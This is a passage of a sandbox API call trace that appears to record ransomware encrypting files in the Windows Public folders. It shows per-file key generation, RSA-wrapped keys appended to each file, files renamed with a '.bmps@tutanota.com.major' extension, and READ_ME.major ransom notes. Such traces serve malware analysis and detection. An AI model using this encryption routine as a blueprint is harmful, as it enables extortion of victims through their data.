dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0149.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9a0 [0149.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.704] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.704] SetFileAttributesW (lpFileName="\\Users\\Public\\Libraries\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0149.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.704] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0149.704] CreateFileW (lpFileName="\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0149.705] GetFileSizeEx (in: hFile=0x620, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=175) returned 1 [0149.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaf) returned 0x58e508 [0149.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaf) returned 0x58e5c0 [0149.705] ReadFile (in: hFile=0x620, lpBuffer=0x58e508, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e508*, lpNumberOfBytesRead=0x2e3f9b4*=0xaf, lpOverlapped=0x0) returned 1 [0149.705] SetFilePointer (in: hFile=0x620, lDistanceToMove=-175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.706] WriteFile (in: hFile=0x620, lpBuffer=0x58e5c0*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e5c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaf, lpOverlapped=0x0) returned 1 [0149.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0149.706] SetFilePointer (in: hFile=0x620, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaf [0149.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.706] WriteFile (in: hFile=0x620, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.706] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.706] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.706] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.706] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.706] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="BqIogjCIeuF9Y33l0Eg8cTXPk1s9tIbbCiMWOsYgndCri9K5hh8ax50LZ28eKpkf\n4Qj2upuYMb1LTVEM6IfC8uwV0LaCUVHQTdzXEwbQrLvtKCDMJg0wountgRyUndcA\nDYr3K5Ut+qfV23nNoSyh3QQn6afLBd/EQimgLWzoDntVHFEumwktePuQ25ipQ25l\nkr56vOMmFiK3bkcttxixge7xD5vlm1uY8bchPM/Jqx9wwfg4/YVrbIaQXufQK9f2\n/UmKw+6PE1UsiSLbJdnXCZI8bR8v31Ie0gGD0BUOSCL+H7kphqWpoHYG0CBONMRg\nYunppk86PI7ucKYYkFBvYg==\n", pcchString=0x2e3f9a8) returned 1 [0149.706] WriteFile (in: hFile=0x620, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.706] WriteFile (in: hFile=0x620, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.706] CloseHandle (hObject=0x620) returned 1 [0149.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.707] MoveFileExW (lpExistingFileName="\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="\\Users\\Public\\Libraries\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\libraries\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0149.708] FindFirstFileW (in: lpFileName="\\Users\\Public\\Music\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1538f2df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630b00 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.708] GetLastError () returned 0x0 [0149.708] SetLastError (dwErrCode=0x0) [0149.708] GetLastError () returned 0x0 [0149.708] SetLastError (dwErrCode=0x0) [0149.708] GetLastError () returned 0x0 [0149.708] SetLastError (dwErrCode=0x0) [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630dc0 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630dc0 | out: hHeap=0x570000) returned 1 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0149.709] FindNextFileW (in: hFindFile=0x630b00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1538f2df, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0149.709] GetLastError () returned 0x0 [0149.709] SetLastError (dwErrCode=0x0) [0149.709] GetLastError () returned 0x0 [0149.709] SetLastError (dwErrCode=0x0) [0149.709] GetLastError () returned 0x0 [0149.709] SetLastError (dwErrCode=0x0) [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c80 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c80 | out: hHeap=0x570000) returned 1 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0149.709] FindNextFileW (in: hFindFile=0x630b00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.709] GetLastError () returned 0x0 [0149.709] SetLastError (dwErrCode=0x0) [0149.709] GetLastError () returned 0x0 [0149.710] SetLastError (dwErrCode=0x0) [0149.710] GetLastError () returned 0x0 [0149.710] SetLastError (dwErrCode=0x0) [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0149.710] FindNextFileW (in: hFindFile=0x630b00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538f2df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1538f2df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x18705810, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.710] GetLastError () returned 0x0 [0149.710] SetLastError (dwErrCode=0x0) [0149.710] GetLastError () returned 0x0 [0149.710] SetLastError (dwErrCode=0x0) [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0149.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.710] GetLastError () returned 0x0 [0149.710] SetLastError (dwErrCode=0x0) [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.710] FindNextFileW (in: hFindFile=0x630b00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1538f2df, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1538f2df, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x18705810, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.710] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.710] SetFileAttributesW (lpFileName="\\Users\\Public\\Music\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.710] CreateFileW (lpFileName="\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0149.711] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=380) returned 1 [0149.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x57eca8 [0149.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17c) returned 0x5c1ce8 [0149.711] ReadFile (in: hFile=0x624, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.711] SetFilePointer (in: hFile=0x624, lDistanceToMove=-380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.711] WriteFile (in: hFile=0x624, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17c, lpOverlapped=0x0) returned 1 [0149.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.712] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17c [0149.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.712] WriteFile (in: hFile=0x624, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="rOad7wAQKI/rrwVn5+bQeb0VeV956OTHPDm+8Cz7NhlH0QnBXXtlAU00c2n8lgBi\nb0EDYPwIEvg7XTxo5dR/26OSo6L07b2hKCK0TrZVZL1thFxhxXQM93O9qUa83Aey\neVZBbKZKRDsrMldl4XvmWTUDFyZiePbggKmcukv1hEG6vY4uoC3Dt5uLO0ZyEXEB\ngbAvMTzQl9PHzig0nngRKxq24ujVOsbUhSfgk3IQfNdODWabRlVzLyxYjYDtByPI\nm9u29cJZFqA0Dwjj8Xy867Cq8OgT5fBua9gzbhbMjhaM8iIj0AmLI/MnqDQ8P/kW\n+VG6ADhdJt2p0z5HhMCjOA==\n", pcchString=0x2e3f9a8) returned 1 [0149.712] WriteFile (in: hFile=0x624, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.717] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.717] WriteFile (in: hFile=0x624, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.717] CloseHandle (hObject=0x624) returned 1 [0149.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.723] MoveFileExW (lpExistingFileName="\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="\\Users\\Public\\Music\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\music\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0149.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0149.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0149.725] FindFirstFileW (in: lpFileName="\\Users\\Public\\Pictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x153b559d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630980 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630ec0 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ec0 | out: hHeap=0x570000) returned 1 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0149.725] FindNextFileW (in: hFindFile=0x630980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x153b559d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] GetLastError () returned 0x0 [0149.725] SetLastError (dwErrCode=0x0) [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630ac0 [0149.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ac0 | out: hHeap=0x570000) returned 1 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0149.726] FindNextFileW (in: hFindFile=0x630980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.726] GetLastError () returned 0x0 [0149.726] SetLastError (dwErrCode=0x0) [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.726] FindNextFileW (in: hFindFile=0x630980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x153b559d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x153b559d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x18705810, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.726] HeapFree 